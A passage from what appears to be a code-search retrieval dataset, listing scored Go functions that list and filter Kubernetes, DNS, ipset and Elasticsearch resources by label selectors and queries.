"0.50106204", "text": "func (r *ResourcesService) List(project string, deployment string) *ResourcesListCall {\n\tc := &ResourcesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\tc.deployment = deployment\n\treturn c\n}", "title": "" }, { "docid": "ded5a09ee6644be98465ad3200b02b04", "score": "0.50061643", "text": "func ListBySelector(ctx context.Context, namespace string, selector map[string]string, c kubernetes.Interface) ([]apiv1.Pod, error) {\n\tif len(selector) == 0 {\n\t\treturn nil, fmt.Errorf(\"empty selector\")\n\t}\n\n\tb := new(bytes.Buffer)\n\tfor key, value := range selector {\n\t\tfmt.Fprintf(b, \"%s=%s,\", key, value)\n\t}\n\n\ts := strings.TrimRight(b.String(), \",\")\n\n\tp, err := c.CoreV1().Pods(namespace).List(\n\t\tctx,\n\t\tmetav1.ListOptions{\n\t\t\tLabelSelector: s,\n\t\t},\n\t)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn p.Items, nil\n}", "title": "" }, { "docid": "6a9932cce00cbce1aac0322f127f4288", "score": "0.4974527", "text": "func (k *podsRepository) ListPodsWithMatchingLabels(opts client.ListOptions) (*v1.PodList, error) {\n\tvar items []interface{}\n\tvar err error\n\n\tif opts.Namespace != \"\" {\n\t\titems, err = k.customController.GetDataStore().ByIndex(NamespaceIndexKey, opts.Namespace)\n\t} else {\n\t\titems = k.customController.GetDataStore().List()\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpodList := &v1.PodList{}\n\n\tvar labelSel labels.Selector\n\tif opts.LabelSelector != nil {\n\t\tlabelSel = opts.LabelSelector\n\t}\n\n\tfor _, item := range items {\n\t\tpod, ok := item.(*v1.Pod)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"cache contained %T, which is not a Pod\", item)\n\t\t}\n\n\t\tmeta, err := apimeta.Accessor(pod)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif labelSel != nil {\n\t\t\tlbls := labels.Set(meta.GetLabels())\n\t\t\tif !labelSel.Matches(lbls) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tpodList.Items = append(podList.Items, *pod)\n\t}\n\treturn podList, nil\n}", "title": "" }, { "docid": "9a14890cae95fcc8b9e27684d116ba28", "score": "0.4970463", "text": "func (mock *FakeBackup) List(opts api.ListOptions) (*aci.BackupList, error) {\n\tobj, err := mock.Fake.\n\t\tInvokes(testing.NewListAction(backupResource, mock.ns, opts), &aci.Backup{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &aci.BackupList{}\n\tfor _, item := range obj.(*aci.BackupList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "6350acd7cb2a92b29157f2fd7d8a832f", "score": "0.4962062", "text": "func (c *trainingSets) List(opts v1.ListOptions) (result *v1alpha2.TrainingSetList, err error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\tresult = &v1alpha2.TrainingSetList{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"trainingsets\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "4ba3ed1637be74af4daaf3a608ff13a4", "score": "0.4937418", "text": "func (o *SRPMPkgNamesRequest) GetContentSetList() []string {\n\tif o == nil || o.ContentSetList == nil {\n\t\tvar ret []string\n\t\treturn ret\n\t}\n\treturn *o.ContentSetList\n}", "title": "" }, { "docid": "94ef562c04a2d9b78213733ff41a1958", "score": "0.49248022", "text": "func (c *FakeOpenShiftControllerManagers) List(ctx context.Context, opts v1.ListOptions) (result *operatorv1.OpenShiftControllerManagerList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewRootListAction(openshiftcontrollermanagersResource, openshiftcontrollermanagersKind, opts), &operatorv1.OpenShiftControllerManagerList{})\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &operatorv1.OpenShiftControllerManagerList{ListMeta: obj.(*operatorv1.OpenShiftControllerManagerList).ListMeta}\n\tfor _, item := range obj.(*operatorv1.OpenShiftControllerManagerList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "452df09aefde0f35078be12d2bd71cd6", "score": "0.4923359", "text": "func GetMachineSetsWithLabel(c client.Client, instance *computenodev1alpha1.ComputeNodeOpenStack, labelSelector map[string]string, namespace string) (*v1beta1.MachineSetList, error) {\n\tmachineSets := &v1beta1.MachineSetList{}\n\tlistOpts := []client.ListOption{\n\t\tclient.InNamespace(namespace),\n\t\tclient.MatchingLabels(labelSelector),\n\t}\n\tif err := c.List(context.Background(), machineSets, listOpts...); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn machineSets, nil\n}", "title": "" }, { "docid": "8f93d47f5d7702356f9ad109dc1ac88b", "score": "0.49222636", "text": "func (s *consulLister) List(selector labels.Selector) (ret []*v1alpha1.Consul, err error) {\n\terr = cache.ListAll(s.indexer, selector, func(m interface{}) {\n\t\tret = append(ret, m.(*v1alpha1.Consul))\n\t})\n\treturn ret, err\n}", "title": "" }, { "docid": "a4134911860ae0932e1f6c5530cd503c", "score": "0.49129707", "text": "func (c *Controller) list(selector airflowv1alpha1.ResourceSelector) ([]airflowv1alpha1.ResourceInfo, error) {\n\tvar rs []airflowv1alpha1.ResourceInfo\n\n\tswitch selector.Obj.(type) {\n\tcase *resources.StatefulSet:\n\t\tobjs, err := c.StsLister.List(selector.Selectors)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, obj := range objs {\n\t\t\trs = append(rs, airflowv1alpha1.ResourceInfo{Lifecycle: \"\", Obj: &resources.StatefulSet{StatefulSet: obj}, Action: \"\"})\n\t\t}\n\tcase *resources.Service:\n\t\tobjs, err := c.SvcLister.List(selector.Selectors)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, obj := range objs {\n\t\t\trs = append(rs, airflowv1alpha1.ResourceInfo{Lifecycle: \"\", Obj: &resources.Service{Service: obj}, Action: \"\"})\n\t\t}\n\tcase *resources.PodDisruptionBudget:\n\t\tobjs, err := c.PdbLister.List(selector.Selectors)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, obj := range objs {\n\t\t\trs = append(rs, airflowv1alpha1.ResourceInfo{Lifecycle: \"\", Obj: &resources.PodDisruptionBudget{PodDisruptionBudget: obj}, Action: \"\"})\n\t\t}\n\tcase *resources.Secret:\n\t\tobjs, err := c.SecretLister.List(selector.Selectors)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, obj := range objs {\n\t\t\trs = append(rs, airflowv1alpha1.ResourceInfo{Lifecycle: \"\", Obj: &resources.Secret{Secret: obj}, Action: \"\"})\n\t\t}\n\tcase *resources.ServiceAccount:\n\t\tobjs, err := c.SALister.List(selector.Selectors)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, obj := range objs {\n\t\t\trs = append(rs, airflowv1alpha1.ResourceInfo{Lifecycle: \"\", Obj: &resources.ServiceAccount{ServiceAccount: obj}, Action: \"\"})\n\t\t}\n\tcase *resources.RoleBinding:\n\t\tobjs, err := c.RBLister.List(selector.Selectors)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, obj := range objs {\n\t\t\trs = append(rs, airflowv1alpha1.ResourceInfo{Lifecycle: \"\", Obj: &resources.RoleBinding{RoleBinding: obj}, Action: \"\"})\n\t\t}\n\t}\n\treturn rs, nil\n}", "title": "" }, { "docid": "d5f944f10185ba8683913777daa28da8", "score": "0.4911353", "text": "func GetResources(kind string, cs *kubernetes.Clientset) ([]Resource, error) {\n\tvar resources []Resource\n\tswitch kind {\n\tcase \"pods\":\n\t\tresource, err := cs.CoreV1().Pods(\"\").List(listOpts)\n\t\tif err != nil {\n\t\t\treturn resources, err\n\t\t}\n\t\tfor _, i := range resource.Items {\n\t\t\tres := Resource{}\n\t\t\tres.Name = i.Name\n\t\t\tres.Namespace = i.Namespace\n\t\t\tres.Kind = \"Pod\"\n\t\t\tres.URL = i.SelfLink\n\t\t\tresources = append(resources, res)\n\t\t}\n\tcase \"nodes\":\n\t\tresource, err := cs.CoreV1().Nodes().List(listOpts)\n\t\tif err != nil {\n\t\t\treturn resources, err\n\t\t}\n\t\tfor _, i := range resource.Items {\n\t\t\tres := Resource{}\n\t\t\tres.Name = i.Name\n\t\t\tres.Kind = \"Node\"\n\t\t\tres.URL = i.SelfLink\n\t\t\tresources = append(resources, res)\n\t\t}\n\tcase \"rs\":\n\t\tresource, err := cs.ExtensionsV1beta1().ReplicaSets(\"\").List(listOpts)\n\t\tif err != nil {\n\t\t\treturn resources, err\n\t\t}\n\t\tfor _, i := range resource.Items {\n\t\t\tres := Resource{}\n\t\t\tres.Name = i.Name\n\t\t\tres.Namespace = i.Namespace\n\t\t\tres.Kind = \"ReplicaSet\"\n\t\t\tres.URL = i.SelfLink\n\t\t\tresources = append(resources, res)\n\t\t}\n\tcase \"deploys\":\n\t\tresource, err := cs.ExtensionsV1beta1().Deployments(\"\").List(listOpts)\n\t\tif err != nil {\n\t\t\treturn resources, err\n\t\t}\n\t\tfor _, i := range resource.Items {\n\t\t\tres := Resource{}\n\t\t\tres.Name = i.Name\n\t\t\tres.Namespace = i.Namespace\n\t\t\tres.Kind = \"Deployment\"\n\t\t\tres.URL = i.SelfLink\n\t\t\tresources = append(resources, res)\n\t\t}\n\tdefault:\n\t\treturn resources, fmt.Errorf(\"No resources found for the given request\")\n\t}\n\treturn resources, nil\n}", "title": "" }, { "docid": "40f569268b9c6d1a26df4e280b63c041", "score": "0.4901385", "text": "func (c *DNSAPI) ListResourceRecordSetsByZone(zoneName string) (*[]dns.RecordSet, error) {\n\tglog.V(5).Infof(\"azuredns: Listing RecordSets for zone %s in rg %s\\n\", zoneName, c.conf.Global.ResourceGroup)\n\n\trrsets := make([]dns.RecordSet, 0)\n\n\tresult, err := c.rc.ListByDNSZone(c.conf.Global.ResourceGroup,\n\t\tzoneName,\n\t\tto.Int32Ptr(1000),\n\t\t\"\")\n\n\terr = c.appendListRecordSetsResult(&rrsets, result)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &rrsets, nil\n}", "title": "" }, { "docid": "8bef4d230d85ec53ce496dc4e121938f", "score": "0.48951972", "text": "func getResourceFromList(name string, apiResourceLists []*v1.APIResourceList) []apiResource{\n\tvar r []apiResource\n\t\n\tfor _, apiResourceList := range(apiResourceLists) {\n\t\t\n\t\tklog.V(4).Infof(\"parsing over resource list: group - %v, version - %v\",apiResourceList.GroupVersion,apiResourceList.APIVersion)\n\t\tfor _, apiResourceElement := range(apiResourceList.APIResources) {\n\t\t\tvar names []string\n\t\t\tpluralName\t\t:= strings.ToLower(apiResourceElement.Name)\n\t\t\tsingularName\t:= \"\"\n\t\t\tif apiResourceElement.SingularName == \"\" {\n\t\t\t\tsingularName = strings.ToLower(apiResourceElement.Kind)\n\t\t\t} else {\n\t\t\t\tsingularName = strings.ToLower(apiResourceElement.SingularName)\n\t\t\t}\n\t\t\tnames = append(names,singularName)\n\t\t\tnames = append(names,pluralName)\n\t\t\tnames = append(names,apiResourceElement.ShortNames...)\n\n\t\t\tif stringExists(name, names) {\n\t\t\t\tklog.V(3).Infof(\"found match name:%v, range:%v\",name,names)\n\t\t\t\tresource := makeAPIResource(apiResourceList, apiResourceElement)\n\t\t\t\tr \t\t = append(r, resource )\n\t\t\t}\n\t\t}\n\t}\n\treturn r\n}", "title": "" }, { "docid": "5ce0b881679410aa33ac74e0a4883642", "score": "0.48879907", "text": "func (pl *clusterPolicyLister) ListResources(selector labels.Selector) (ret []*kyvernov1.ClusterPolicy, err error) {\n\tpolicies, err := pl.List(selector)\n\tfor index := range policies {\n\t\tpolicies[index].SetGroupVersionKind(kyvernov1.SchemeGroupVersion.WithKind(\"ClusterPolicy\"))\n\t}\n\treturn policies, err\n}", "title": "" }, { "docid": "5ce0b881679410aa33ac74e0a4883642", "score": "0.48879907", "text": "func (pl *clusterPolicyLister) ListResources(selector labels.Selector) (ret []*kyvernov1.ClusterPolicy, err error) {\n\tpolicies, err := pl.List(selector)\n\tfor index := range policies {\n\t\tpolicies[index].SetGroupVersionKind(kyvernov1.SchemeGroupVersion.WithKind(\"ClusterPolicy\"))\n\t}\n\treturn policies, err\n}", "title": "" }, { "docid": "8b77edcc7b96ee0910e0738f3145d3c9", "score": "0.4873512", "text": "func (c *Client) ListDatasets(projectID string) (output *v1payload.ListDatasetsOutput, err error) {\n\toutput = &v1payload.ListDatasetsOutput{}\n\treturn output, c.doRequest(http.MethodGet, createPath(projectID, datasetEndpoint), nil, output)\n}", "title": "" }, { "docid": "a3330c984f0af37af979095cd4d021ed", "score": "0.48719403", "text": "func (rrsets ResourceRecordSets) Get(name string) ([]dnsprovider.ResourceRecordSet, error) {\n\tif rrsets.zone != nil {\n\t\tglog.V(5).Infof(\"GETTING RecordSets for zone %q, requested %q\", rrsets.zone.Name(), name)\n\t} else {\n\t\tglog.V(5).Infof(\"DANGER GETTING zone is nil\\n\")\n\n\t}\n\trrsetList, err := rrsets.List()\n\tarr := make([]dnsprovider.ResourceRecordSet, 0)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, rrset := range rrsetList {\n\t\tglog.V(5).Infof(\"azuredns: ResourceRecrdSets Get looking for %q found %q\\n\", name, rrset.Name())\n\t\tif rrset.Name() == name {\n\t\t\tarr = append(arr, rrsets.New(rrset.Name(), rrset.Rrdatas(), rrset.Ttl(), rrset.Type()))\n\t\t}\n\t}\n\n\tglog.V(5).Infof(\"azuredns: ResourceRecrdSets Get for %q returned %i records\\n\", name, len(arr))\n\tif len(arr) <= 0 {\n\t\treturn nil, nil\n\t}\n\treturn arr, nil\n}", "title": "" }, { "docid": "0731f052ad757c295792d8d4d0c2adae", "score": "0.48708564", "text": "func List(containerIds ...string) ([]types.Container, error) {\n\tcli, err := client.NewEnvClient()\n\tif err != nil {\n\t\terr = errors.Wrap(err, \"[list.go] New client failed\")\n\t\treturn nil, err\n\t}\n\n\tfilters := filters.NewArgs()\n\tfilters.Add(\"label\", \"belong-to=fx\")\n\tfilters.Add(\"status\", \"running\")\n\tif len(containerIds) > 0 {\n\t\tfor _, id := range containerIds {\n\t\t\tfilters.Add(\"id\", id)\n\t\t}\n\t}\n\tcontainers, err := cli.ContainerList(context.Background(), types.ContainerListOptions{\n\t\tAll: true,\n\t\tFilters: filters,\n\t})\n\tif err != nil {\n\t\terr = errors.Wrap(err, \"[list.go] list containers failed\")\n\t\treturn nil, err\n\t}\n\n\treturn containers, nil\n}", "title": "" }, { "docid": "42b380eb1deb45044891bd9e5e25b1e8", "score": "0.48613694", "text": "func ListSet() ([]IPSet, error) {\n\targs := []string{\"list\", \"-o\", \"xml\"}\n\toutput, err := exec.Command(\"ipset\", args...).CombinedOutput()\n\tif err != nil {\n\t\treturn nil, errors.New(string(output))\n\t}\n\n\tlistSetResult := new(ListSetResult)\n\tif err := xml.Unmarshal(output, listSetResult); err != nil {\n\t\treturn nil, err\n\t}\n\n\tipSets := make([]IPSet, 0)\n\tfor _, resultIPSet := range listSetResult.IPSet {\n\t\tvar ipSet IPSet\n\t\tipSet.Header.Family = resultIPSet.Header.Family\n\t\tipSet.Header.HashSize = resultIPSet.Header.Hashsize\n\t\tipSet.Header.MaxElem = resultIPSet.Header.Maxelem\n\t\tipSet.Header.MemSize = resultIPSet.Header.Memsize\n\t\tipSet.Header.References = resultIPSet.Header.References\n\t\tipSet.Members = make([]Member, 0)\n\t\tfor _, resultMember := range resultIPSet.Members.Member {\n\t\t\tvar member Member\n\t\t\tmember.Elem = resultMember.Elem\n\t\t\tipSet.Members = append(ipSet.Members, member)\n\t\t}\n\t\tipSet.Name = resultIPSet.Name\n\t\tipSet.Revision = resultIPSet.Revision\n\t\tipSet.Type = resultIPSet.Type\n\t\tipSets = append(ipSets, ipSet)\n\t}\n\n\treturn ipSets, nil\n}", "title": "" }, { "docid": "8f7c0baf9f9bed26ad2c96909d6c38fe", "score": "0.48598805", "text": "func (c *resourceSets) Get(ctx context.Context, name string, options v1.GetOptions) (result *v1alpha1.ResourceSet, err error) {\n\tresult = &v1alpha1.ResourceSet{}\n\terr = c.client.Get().\n\t\tResource(\"resourcesets\").\n\t\tName(name).\n\t\tVersionedParams(&options, scheme.ParameterCodec).\n\t\tDo(ctx).\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "3447f9ea54b70ffa562c38903d4a1d5d", "score": "0.4856782", "text": "func (r *RegionServiceHandler) List(ctx context.Context) ([]Region, error) {\n\n\turi := \"/v1/regions/list\"\n\n\treq, err := r.Client.NewRequest(ctx, http.MethodGet, uri, nil)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar regionsMap map[string]Region\n\terr = r.Client.DoWithContext(ctx, req, &regionsMap)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar region []Region\n\tfor _, r := range regionsMap {\n\t\tregion = append(region, r)\n\t}\n\n\treturn region, nil\n}", "title": "" }, { "docid": "b975300001b0ee0dc9d20ce38e1a41d1", "score": "0.48552167", "text": "func (c *Client) recordSetsGlobalList(filter GlobalListFilter) (*RecordSetsResponse, error) {\n\trecordSets := &RecordSetsResponse{}\n\terr := resourceRequest(c, recordSetsGlobalListEP(c, filter), \"GET\", nil, recordSets)\n\tif err != nil {\n\t\treturn recordSets, err\n\t}\n\n\treturn recordSets, nil\n}", "title": "" }, { "docid": "f1d94ffb408ec724fc1293c4344de1e4", "score": "0.48549926", "text": "func (m *Manager) List() []Resource {\n\tm.resourcesMu.Lock()\n\tdefer m.resourcesMu.Unlock()\n\tresult := make([]Resource, 0, len(m.resources))\n\tfor _, r := range m.resources {\n\t\tresult = append(result, r)\n\t}\n\tsort.Slice(result, func(i, j int) bool {\n\t\treturn resourceName(result[i]) < resourceName(result[j])\n\t})\n\treturn result\n}", "title": "" }, { "docid": "dfcb32a76e5b2fa4ed35ee9ed00440ff", "score": "0.48537067", "text": "func (c *FakeSensuAssets) List(opts v1.ListOptions) (result *v1beta1.SensuAssetList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(sensuassetsResource, sensuassetsKind, c.ns, opts), &v1beta1.SensuAssetList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1beta1.SensuAssetList{ListMeta: obj.(*v1beta1.SensuAssetList).ListMeta}\n\tfor _, item := range obj.(*v1beta1.SensuAssetList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "b2dd4eabedb6a1b00e46b76168ae0e2c", "score": "0.48414636", "text": "func LabelSelectors(labels map[string]string) *metav1.LabelSelector {\n\treturn &metav1.LabelSelector{MatchLabels: labels}\n}", "title": "" }, { "docid": "418f5b85c42b1c1e1e05bbb09807ef8d", "score": "0.4834414", "text": "func (c *FakeResourceImports) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.ResourceImportList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(resourceimportsResource, resourceimportsKind, c.ns, opts), &v1alpha1.ResourceImportList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.ResourceImportList{ListMeta: obj.(*v1alpha1.ResourceImportList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.ResourceImportList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "c479241b887578ec2e4a7eb9ce517903", "score": "0.48227918", "text": "func (p *Provider) ListResources(req *pb.ListResourcesRequest) (*pb.ListResourcesResponse, error) {\n\ttok := strings.SplitN(req.GetResourcePath(), \"/\", 2)\n\n\tresType := tok[0]\n\n\tlr := p.listers[resType]\n\tif lr == nil {\n\t\treturn nil, fmt.Errorf(\"kubernetes: unsupported resource type: %s\", resType)\n\t}\n\tresources, err := lr.listResources(req)\n\treturn &pb.ListResourcesResponse{Resources: resources}, err\n}", "title": "" }, { "docid": "a33b459b07ad7ce98227b9a497c6153e", "score": "0.48067716", "text": "func rsListFromClient(c appsclient.AppsV1Interface) rsListFunc {\n\treturn func(namespace string, initialOpts metav1.ListOptions) ([]*appsv1.ReplicaSet, error) {\n\t\trsList := &appsv1.ReplicaSetList{}\n\t\terr := runtimeresource.FollowContinue(&initialOpts,\n\t\t\tfunc(opts metav1.ListOptions) (runtime.Object, error) {\n\t\t\t\tnewRs, err := c.ReplicaSets(namespace).List(context.TODO(), opts)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, runtimeresource.EnhanceListError(err, opts, \"replicasets\")\n\t\t\t\t}\n\t\t\t\trsList.Items = append(rsList.Items, newRs.Items...)\n\t\t\t\treturn newRs, nil\n\t\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvar ret []*appsv1.ReplicaSet\n\t\tfor i := range rsList.Items {\n\t\t\tret = append(ret, &rsList.Items[i])\n\t\t}\n\t\treturn ret, err\n\t}\n}", "title": "" }, { "docid": "eda6dae6d8800df79af30238bcb74efe", "score": "0.47999763", "text": "func newResourceSets(c *AppsV1alpha1Client) *resourceSets {\n\treturn &resourceSets{\n\t\tclient: c.RESTClient(),\n\t}\n}", "title": "" }, { "docid": "70268aebb4f6a6244b80737e1fa11069", "score": "0.4798202", "text": "func filterPodPresets(list redhatcopv1alpha1.PodPresetList, pod *corev1.Pod) ([]*redhatcopv1alpha1.PodPreset, error) {\n\tvar matchingPPs []*redhatcopv1alpha1.PodPreset\n\n\tfor _, pp := range list.Items {\n\t\tselector, err := metav1.LabelSelectorAsSelector(&pp.Spec.Selector)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"label selector conversion failed: %v for selector: %v\", pp.Spec.Selector, err)\n\t\t}\n\n\t\t// check if the pod labels match the selector\n\t\tif !selector.Matches(labels.Set(pod.Labels)) {\n\t\t\tcontinue\n\t\t}\n\t\tmatchingPPs = append(matchingPPs, &pp)\n\t}\n\treturn matchingPPs, nil\n}", "title": "" }, { "docid": "ceb8489d26f86cc49df7d623dd4eabd9", "score": "0.47958156", "text": "func (rs *REST) List(ctx context.Context, options *metainternalversion.ListOptions) (runtime.Object, error) {\n\tservers := rs.GetServersToValidate()\n\n\twait := sync.WaitGroup{}\n\twait.Add(len(servers))\n\tstatuses := make(chan api.ComponentStatus, len(servers))\n\tfor k, v := range servers {\n\t\tgo func(name string, server Server) {\n\t\t\tdefer wait.Done()\n\t\t\tstatus := rs.getComponentStatus(name, server)\n\t\t\tstatuses <- *status\n\t\t}(k, v)\n\t}\n\twait.Wait()\n\tclose(statuses)\n\n\tpred := componentStatusPredicate(options)\n\n\treply := []api.ComponentStatus{}\n\tfor status := range statuses {\n\t\t// ComponentStatus resources currently (v1.14) do not support labeling, however the filtering is executed\n\t\t// nonetheless in case the request contains Label or Field selectors (which will effectively filter out\n\t\t// all of the results and return an empty response).\n\t\tif matched := matchesPredicate(status, &pred); matched {\n\t\t\treply = append(reply, status)\n\t\t}\n\t}\n\treturn &api.ComponentStatusList{Items: reply}, nil\n}", "title": "" }, { "docid": "88dca6798117cb91b7bfed21ba90ceaf", "score": "0.4790582", "text": "func GetRecordsets(zone string, queryArgs ...RecordsetQueryArgs) (*RecordSetResponse, error) {\n\n\trecordsetResp := NewRecordSetResponse(\"\")\n\n\t// construct GET url\n\tgetURL := fmt.Sprintf(\"/config-dns/v2/zones/%s/recordsets\", zone)\n\tif len(queryArgs) > 1 {\n\t\treturn nil, errors.New(\"GetRecordsets QueryArgs invalid.\")\n\t}\n\n\treq, err := client.NewRequest(\n\t\tConfig,\n\t\t\"GET\",\n\t\tgetURL,\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tq := req.URL.Query()\n\tif len(queryArgs) > 0 {\n\t\tif queryArgs[0].Page > 0 {\n\t\t\tq.Add(\"page\", strconv.Itoa(queryArgs[0].Page))\n\t\t}\n\t\tif queryArgs[0].PageSize > 0 {\n\t\t\tq.Add(\"pageSize\", strconv.Itoa(queryArgs[0].PageSize))\n\t\t}\n\t\tif queryArgs[0].Search != \"\" {\n\t\t\tq.Add(\"search\", queryArgs[0].Search)\n\t\t}\n\t\tq.Add(\"showAll\", strconv.FormatBool(queryArgs[0].ShowAll))\n\t\tif queryArgs[0].SortBy != \"\" {\n\t\t\tq.Add(\"sortBy\", queryArgs[0].SortBy)\n\t\t}\n\t\tif queryArgs[0].Types != \"\" {\n\t\t\tq.Add(\"types\", queryArgs[0].Types)\n\t\t}\n\t\treq.URL.RawQuery = q.Encode()\n\t}\n\n\tedge.PrintHttpRequest(req, true)\n\n\tres, err := client.Do(Config, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tedge.PrintHttpResponse(res, true)\n\n\tif client.IsError(res) && res.StatusCode != 404 {\n\t\treturn nil, client.NewAPIError(res)\n\t} else if res.StatusCode == 404 {\n\t\treturn nil, &ZoneError{zoneName: zone}\n\t} else {\n\t\terr = client.BodyJSON(res, recordsetResp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn recordsetResp, nil\n\t}\n}", "title": "" }, { "docid": "d2989ce454b4016005746caeb3033ed4", "score": "0.47713262", "text": "func (o *ElasticsearchOperator) collectResources(ctx context.Context) (map[types.UID]*ESResource, error) {\n\tresources := make(map[types.UID]*ESResource)\n\n\tedss, err := o.kube.ZalandoV1().ElasticsearchDataSets(o.namespace).List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create a map of ElasticsearchDataSet clusters to later map the matching\n\t// StatefulSet.\n\tfor _, eds := range edss.Items {\n\t\teds := eds\n\t\tif !o.hasOwnership(&eds) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// set TypeMeta manually because of this bug:\n\t\t// https://github.com/kubernetes/client-go/issues/308\n\t\teds.APIVersion = \"zalando.org/v1\"\n\t\teds.Kind = \"ElasticsearchDataSet\"\n\n\t\tresources[eds.UID] = &ESResource{\n\t\t\tElasticsearchDataSet: &eds,\n\t\t}\n\t}\n\n\tmetricSets, err := o.kube.ZalandoV1().ElasticsearchMetricSets(o.namespace).List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Map metricSets to the owning ElasticsearchDataSet resource.\n\tfor _, ms := range metricSets.Items {\n\t\tms := ms\n\t\tif uid, ok := getOwnerUID(ms.ObjectMeta); ok {\n\t\t\tif er, ok := resources[uid]; ok {\n\t\t\t\ter.MetricSet = &ms\n\t\t\t}\n\t\t}\n\t}\n\n\t// TODO: label filter\n\tpods, err := o.kube.CoreV1().Pods(o.namespace).List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, pod := range pods.Items {\n\t\tfor _, es := range resources {\n\t\t\tes := es\n\t\t\t// TODO: leaky abstraction\n\t\t\tif v, ok := pod.Labels[esDataSetLabelKey]; ok && v == es.ElasticsearchDataSet.Name {\n\t\t\t\tes.Pods = append(es.Pods, pod)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn resources, nil\n}", "title": "" }, { "docid": "d2989ce454b4016005746caeb3033ed4", "score": "0.47713262", "text": "func (o *ElasticsearchOperator) collectResources(ctx context.Context) (map[types.UID]*ESResource, error) {\n\tresources := make(map[types.UID]*ESResource)\n\n\tedss, err := o.kube.ZalandoV1().ElasticsearchDataSets(o.namespace).List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create a map of ElasticsearchDataSet clusters to later map the matching\n\t// StatefulSet.\n\tfor _, eds := range edss.Items {\n\t\teds := eds\n\t\tif !o.hasOwnership(&eds) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// set TypeMeta manually because of this bug:\n\t\t// https://github.com/kubernetes/client-go/issues/308\n\t\teds.APIVersion = \"zalando.org/v1\"\n\t\teds.Kind = \"ElasticsearchDataSet\"\n\n\t\tresources[eds.UID] = &ESResource{\n\t\t\tElasticsearchDataSet: &eds,\n\t\t}\n\t}\n\n\tmetricSets, err := o.kube.ZalandoV1().ElasticsearchMetricSets(o.namespace).List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Map metricSets to the owning ElasticsearchDataSet resource.\n\tfor _, ms := range metricSets.Items {\n\t\tms := ms\n\t\tif uid, ok := getOwnerUID(ms.ObjectMeta); ok {\n\t\t\tif er, ok := resources[uid]; ok {\n\t\t\t\ter.MetricSet = 